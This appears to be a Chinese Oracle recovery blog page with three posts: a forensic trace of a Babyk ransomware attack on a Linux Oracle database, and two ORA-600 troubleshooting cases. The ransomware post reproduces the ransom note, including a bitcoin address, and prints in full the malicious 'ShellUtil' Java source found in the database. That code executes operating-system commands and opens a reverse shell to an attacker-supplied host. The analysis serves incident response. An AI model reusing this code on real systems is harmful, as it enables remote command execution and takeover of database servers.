标签云
asm恢复 bbed bootstrap$ dul In Memory kcbzib_kcrsds_1 kccpb_sanity_check_2 MySQL恢复 ORA-00312 ORA-00607 ORA-00704 ORA-00742 ORA-01110 ORA-01555 ORA-01578 ORA-01595 ORA-08103 ORA-600 2131 ORA-600 2662 ORA-600 3020 ORA-600 4000 ORA-600 4137 ORA-600 4193 ORA-600 4194 ORA-600 16703 ORA-600 kcbzib_kcrsds_1 ORA-600 KCLCHKBLK_4 ORA-15042 ORA-15196 ORACLE 12C oracle dul ORACLE PATCH Oracle Recovery Tools oracle加密恢复 oracle勒索 oracle勒索恢复 oracle异常恢复 Oracle 恢复 ORACLE恢复 ORACLE数据库恢复 oracle 比特币 OSD-04016 YOUR FILES ARE ENCRYPTED 勒索恢复 比特币加密文章分类
- Others (2)
- 中间件 (2)
- WebLogic (2)
- 操作系统 (103)
- 数据库 (1,762)
- DB2 (22)
- MySQL (76)
- Oracle (1,604)
- Data Guard (52)
- EXADATA (8)
- GoldenGate (24)
- ORA-xxxxx (166)
- ORACLE 12C (72)
- ORACLE 18C (6)
- ORACLE 19C (15)
- ORACLE 21C (3)
- Oracle 23ai (8)
- Oracle ASM (69)
- Oracle Bug (8)
- Oracle RAC (54)
- Oracle 安全 (6)
- Oracle 开发 (28)
- Oracle 监听 (28)
- Oracle备份恢复 (588)
- Oracle安装升级 (97)
- Oracle性能优化 (62)
- 专题索引 (5)
- 勒索恢复 (85)
- PostgreSQL (30)
- pdu工具 (6)
- PostgreSQL恢复 (9)
- SQL Server (32)
- SQL Server恢复 (13)
- TimesTen (7)
- 达梦数据库 (3)
- 达梦恢复 (1)
- 生活娱乐 (2)
- 至理名言 (11)
- 虚拟化 (2)
- VMware (2)
- 软件开发 (39)
- Asp.Net (9)
- JavaScript (12)
- PHP (2)
- 小工具 (22)
-
最近发表
- 解决一次硬件恢复之后数据文件0kb的故障恢复case
- Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’问题处理
- ORA-01171: datafile N going offline due to error advancing checkpoint
- linux环境oracle数据库被文件系统勒索加密为.babyk扩展名溯源
- ORA-600 ksvworkmsgalloc: bad reaper
- ORA-600 krccfl_chunk故障处理
- Oracle Recovery Tools恢复案例总结—202505
- ORA-600 kddummy_blkchk 数据库循环重启
- 记录一次asm disk加入到vg通过恢复直接open库的案例
- CHECKDB 发现了 N 个分配错误和 M 个一致性错误
- 达梦数据库dm.ctl文件异常恢复
- Oracle Recovery Tools修复ORA-00742、ORA-600 ktbair2: illegal inheritance故障
- 可能是 tempdb 空间用尽或某个系统表不一致故障处理
- 11.2.0.4库中遇到ORA-600 kcratr_nab_less_than_odr报错
- [MY-013183] [InnoDB] Assertion failure故障处理
- Oracle 19c 202504补丁(RUs+OJVM)-19.27
- Oracle Recovery Tools修复ORA-600 6101/kdxlin:psno out of range故障
- pdu完美支持金仓数据库恢复(KingbaseES)
- 虚拟机故障引起ORA-00310 ORA-00334故障处理
- pg创建gbk字符集库
分类目录归档:Oracle
linux环境oracle数据库被文件系统勒索加密为.babyk扩展名溯源
最近有一个客户使用了xx厂商的erp软件的Oracle数据库服务被勒索加密(运行在linux平台)
文件加密结果
文件名称被加上.babyk,每个目录下面会留下一个README_babyk.txt文件
README_babyk.txt文件内容
___ ______ ______ ______ .' `. ______ ______ ______ |______||______||______| / .-. \ .--. _ .--. .--. |______||______||______| ______ ______ ______ | | | |/ .'`\ \[ '/'`\ \( (`\] ______ ______ ______ |______||______||______| \ `-' /| \__. | | \__/ | `'.'. |______||______||______| `.___.' '.__.' | ;.__/ [\__) ) [__| ========================================================= What Happened to My Computer? Your important files are encrypted. Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. ========================================================= ========================================================= Can I Recover My Files? Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.if you want to decrypt all your files, you need to pay. You only have 3 days to submit the payment. After that the price will be doubled. Also, if you don't pay in 7 days, you won't be able to recover your files forever. ========================================================= ========================================================= How Do I Pay? Your Encryption ID:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Payment is accepted in BTC only. If you don't know what's BTC, please Google for information on how to buy and pay for BTC. Send $6000 worth of BTC to this address: bc1q2p280472y0ssqcr6lhzz3qxxgevg3a63ewacl9 After the payment is completed, Please send your encryption ID and proof of payment to our email. We will reply to the decryption program to your email address. ========================================================= ========================================================= How to Contact Us? aip6jmb@tuta.io setack@tuta.io ========================================================= *Warning: Don't try to decrypt by yourself, you may permanently damage your files.
然后客户找人进行勒索解密,结果对于大于16G左右的文件解密失败.解密失败原因是由于较大文件加密算法问题,导致他们拿到了解密程序也无法解密,具体对于加密文件对比说明:
解密成功文件大小和文件尾部
解密失败文件大小和文件尾部
通过对比可以确认文件和占用空间一致,而且尾部没有多出来38byte的字符串的文件是属于解密失败(因为本身加密就不正常)
被勒索加密源头分析
通过解密成功的system01.dbf文件打开库,然后检查数据库中对象,发现一个异常的函数shellrun
create or replace function shellrun(methodName varchar2, params varchar2, encoding varchar2) return varchar2 as language java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';
分析对应的java相关的ShellUtil,检查发现有以下部分
进一步分析ShellUtil中内容
create or replace and compile java source named "ShellUtil" as import java.io.*; import java.net.Socket; import java.util.concurrent.RecursiveTask; public class ShellUtil extends Object{ public static String run(String methodName, String params, String encoding) { String res = ""; if (methodName.equals("exec")) { res = ShellUtil.exec(params, encoding); }else if (methodName.equals("connectback")) { String ip = params.substring(0, params.indexOf("^")); String port = params.substring(params.indexOf("^") + 1); res = ShellUtil.connectBack(ip, Integer.parseInt(port)); }else { res = "unkown methodName"; } return res; } public static String exec(String command, String encoding) { StringBuffer result = new StringBuffer(); try { String[] finalCommand; if (System.getProperty("os.name").toLowerCase().contains("windows")) { String systemRootvariable; try { systemRootvariable = System.getenv("SystemRoot"); } catch (ClassCastException e) { systemRootvariable = System.getProperty("SystemRoot"); } finalCommand = new String[3]; finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe"; finalCommand[1] = "/c"; finalCommand[2] = command; } else { // Linux or Unix System finalCommand = new String[3]; finalCommand[0] = "/bin/sh"; finalCommand[1] = "-c"; finalCommand[2] = command; } BufferedReader readerIn = null; BufferedReader readerError = null; try { readerIn = new BufferedReader(new InputStreamReader (Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding)); String stemp = ""; while ((stemp = readerIn.readLine()) != null){ result.append(stemp).append("\n"); } }catch (Exception e){ result.append(e.toString()); }finally { if (readerIn != null) { readerIn.close(); } } try { readerError = new BufferedReader(new InputStreamReader (Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding)); String stemp = ""; while ((stemp = readerError.readLine()) != null){ result.append(stemp).append("\n"); } }catch (Exception e){ result.append(e.toString()); }finally { if (readerError != null) { readerError.close(); } } } catch (Exception e) { result.append(e.toString()); } return result.toString(); } public static String connectBack(String ip, int port) { class StreamConnector extends Thread { InputStream sp; OutputStream gh; StreamConnector(InputStream sp, OutputStream gh) { this.sp = sp; this.gh = gh; } @Override public void run() { BufferedReader xp = null; BufferedWriter ydg = null; try { xp = new BufferedReader(new InputStreamReader(this.sp)); ydg = new BufferedWriter(new OutputStreamWriter(this.gh)); char buffer[] = new char[1024]; int length; while ((length = xp.read(buffer, 0, buffer.length)) > 0) { ydg.write(buffer, 0, length); ydg.flush(); } } catch (Exception e) {} try { if (xp != null) { xp.close(); } if (ydg != null) { ydg.close(); } } catch (Exception e) { } } } try { String sp; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { sp = new String("/bin/sh"); } else { sp = new String("cmd.exe"); } Socket sk = new Socket(ip, port); Process ps = Runtime.getRuntime().exec(sp); (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start(); (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start(); } catch (Exception e) { } return "^OK^"; } }
这些程序都是4月24日14:58:40-14:58:50之间创建,通过咨询客户,客户的应用在4月24日上午进行了升级.基于上述情况,初步怀疑是通过应用给数据库层面注入了恶意脚本,创建了函数和一些java包,实现提权获取了操作系统权限,然后对操作系统文件进行加密.最终结论需要等应用和安全厂商进行确认
ORA-600 ksvworkmsgalloc: bad reaper
有一个朋友说他们想把12c的库还原到19c版本中然后进行升级测试,结果在打开库的过程中发现几个错误,让我给帮忙分析下
resetlogs 报ORA-00392 ORA-00312
SQL> alter database open resetlogs upgrade; alter database open resetlogs upgrade * ERROR at line 1: ORA-00392: log 7 of thread 1 is being cleared, operation not allowed ORA-00312: online log 7 thread 1: '/DBS1/data/NDBS/onlinelog/redo07_m1.log ' ORA-00312: online log 7 thread 1: '/DBS1/arch/NDBS/onlinelog/redo07_m2.log '
这个错误一般是由于redo状态不对,比如标记为了CLEARING_CURRENT,处理操作
SQL> select group#,status from v$log; GROUP# STATUS ---------------- ---------------- 1 CLEARING 2 CLEARING 3 CLEARING 4 CLEARING 10 CLEARING 6 CLEARING 7 CLEARING_CURRENT 8 CLEARING 9 CLEARING 5 CLEARING 10 rows selected. SQL> alter database clear logfile group 7; Database altered. SQL> select group#,status from v$log; GROUP# STATUS ---------------- ---------------- 1 CLEARING 2 CLEARING 3 CLEARING 4 CLEARING 10 CLEARING 6 CLEARING 7 CURRENT 8 CLEARING 9 CLEARING 5 CLEARING 10 rows selected.
再次reseltogs报ORA-600 ksvworkmsgalloc: bad reaper错误
SQL> alter database open resetlogs upgrade; alter database open resetlogs upgrade * ERROR at line 1: ORA-00600: internal error code, arguments: [ksvworkmsgalloc: bad reaper], [0x080010003], [], [], []
这个错误通过查询MOS 发现Open Resetlogs Fail with ORA-00600[ksvworkmsgalloc: bad reaper] (Doc ID 2728106.1)文章中描述,由于non-ASM to ASM环境redo文件在clear的时候触发该问题
是由于db_create_online_log_dest_1参数没有设置导致,对于该库是由asm环境到文件系统,估计也是在resetlogs的时候clear redo报出来该错误,解决办法给该库设置上
db_create_online_log_dest_1=/DBS1/data,db_create_online_log_dest_2=/DBS1/arch,然后打开库成功

ORA-600 krccfl_chunk故障处理
一个数据库启动包ORA-600 krccfl_chunk错误
2025-05-06T10:37:47.428203+08:00 Completed: ALTER DATABASE MOUNT /* db agent *//* {2:50212:2} */ ALTER DATABASE OPEN /* db agent *//* {2:50212:2} */ 2025-05-06T10:37:47.433709+08:00 This instance was first to open Block change tracking file is current. Ping without log force is disabled: not an Exadata system. start recovery: pdb 0, passed in flags x4 (domain enable 5) 2025-05-06T10:37:48.203383+08:00 Beginning crash recovery of 2 threads 2025-05-06T10:37:48.568120+08:00 parallel recovery started with 32 processes 2025-05-06T10:37:48.610951+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.611037+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.611243+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.611438+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.614947+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.616591+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.617188+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.617253+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.617428+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.617606+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.617676+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.617809+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.636568+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.636568+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.636620+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.637156+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.637300+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.637881+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.637999+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.638112+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.638241+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.638304+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.638338+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.638347+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.641621+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.642926+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.643092+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.643192+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.643204+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.643372+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.643516+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.643573+08:00 start recovery: pdb 0, passed in flags x5 (domain enable 5) 2025-05-06T10:37:48.748956+08:00 Started redo scan 2025-05-06T10:37:49.849382+08:00 Completed redo scan read 469347 KB redo, 1213 data blocks need recovery 2025-05-06T10:37:50.007840+08:00 Started redo application at Thread 1: logseq 369323, block 651514, offset 0 Thread 2: logseq 132962, block 1319944, offset 0 2025-05-06T10:37:50.016910+08:00 Recovery of Online Redo Log: Thread 1 Group 13 Seq 369323 Reading mem 0 Mem# 0: +DATA/orcl/ONLINELOG/group_13.349.978709791 Mem# 1: +FRA/orcl/ONLINELOG/group_13.12992.978709793 2025-05-06T10:37:50.025725+08:00 Recovery of Online Redo Log: Thread 2 Group 18 Seq 132962 Reading mem 0 Mem# 0: +DATA/orcl/ONLINELOG/group_18.354.978710003 Mem# 1: +FRA/orcl/ONLINELOG/group_18.12997.978710005 2025-05-06T10:37:51.063556+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_ora_68031.trc(incident=868005)(PDBNAME=CDB$ROOT): ORA-00600: internal error code, arguments: [krccfl_chunk], [0x7F9BBB30BE58], [166528],[],[],[],[],[],[],[],[],[] Incident details in: /u01/app/oracle/diag/rdbms/orcl/orcl2/incident/incdir_868005/orcl2_ora_68031_i868005.trc 2025-05-06T10:37:52.269823+08:00 Dumping diagnostic data in directory=[cdmp_20250506103752],requested by(instance=2,osid=68031),summary=[incident=868005]. 2025-05-06T10:37:52.306517+08:00 Use ADRCI or Support Workbench to package the incident. See Note 411.1 at My Oracle Support for error and packaging details. 2025-05-06T10:37:52.310723+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.310813+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.310820+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.310853+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.310902+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.310907+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.310945+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.310950+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.310987+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.311002+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.311009+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.311017+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.311055+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311055+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.311064+08:00 Slave encountered ORA-10388 exception during crash recovery 2025-05-06T10:37:52.311071+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311080+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311107+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311119+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311126+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311135+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p000_69617.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311156+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311184+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311203+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311205+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311211+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p001_69619.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311276+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p002_69621.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311276+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311280+08:00 Recovery slave process is holding some recovery locks. Killing the instance now. 2025-05-06T10:37:52.311308+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p003_69623.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311329+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p004_69625.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311341+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p005_69627.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311345+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p007_69631.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311353+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p008_69633.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311374+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p006_69629.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311386+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p009_69635.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311402+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p00a_69637.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311513+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p00c_69641.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.311515+08:00 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_p00b_69639.trc: ORA-10388: parallel query server interrupt (failure) 2025-05-06T10:37:52.348331+08:00 USER (ospid: 69617): terminating the instance due to error 10388 2025-05-06T10:37:52.585589+08:00 System state dump requested by (instance=2, osid=69617 (P000)), summary=[abnormal instance termination]. System State dumped to trace file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_diag_67490_20250506103752.trc 2025-05-06T10:37:54.016704+08:00 License high water mark = 34 2025-05-06T10:37:55.387072+08:00 Instance terminated by USER, pid = 69617 2025-05-06T10:37:55.388683+08:00 Warning: 2 processes are still attach to shmid 2850830: (size: 45056 bytes, creator pid: 65902, last attach/detach pid: 67492) 2025-05-06T10:37:56.018027+08:00 USER (ospid: 69907): terminating the instance 2025-05-06T10:37:56.021711+08:00 Instance terminated by USER, pid = 69907
查询mos发现类似文章:
Database doesn’t open after crash ORA-00600 [krccfl_chunk] (Doc ID 2967548.1)
Bug 33251482 – ORA-487 / ORA-600 [krccfl_chunk] : CTWR process terminated during PDB creation (Doc ID 33251482.8)
分析这个客户情况,通过trace信息:Block change tracking file is current. 可以确认是启用了BCT,而且日志信息也反应出来是pdb环境。进一步分析客户的情况,发现他们在以前有一个数据文件创建到了本地(实际是rac环境)
2024-12-23T11:07:09.168322+08:00 PDBODS(5):Completed: alter tablespace PDBODS_DATA add datafile 'D:\APP\ADMINISTRATOR\ORADATA\ORCL\USERS02.DBF' size 5000M autoextend on next 1000M maxsize 32000M
数据库中现在实际存储路径/u01/app/oracle/product/12.2.0.1/dbhome_1/dbs/D:APPADMINISTRATORORADATAORCLUSERS 02.DBF
基于这种情况,解决问题比较简单:在本地数据文件所在节点禁用BCT,然后open库,把数据文件拷贝到asm中即可
发表在 ORA-xxxxx
评论关闭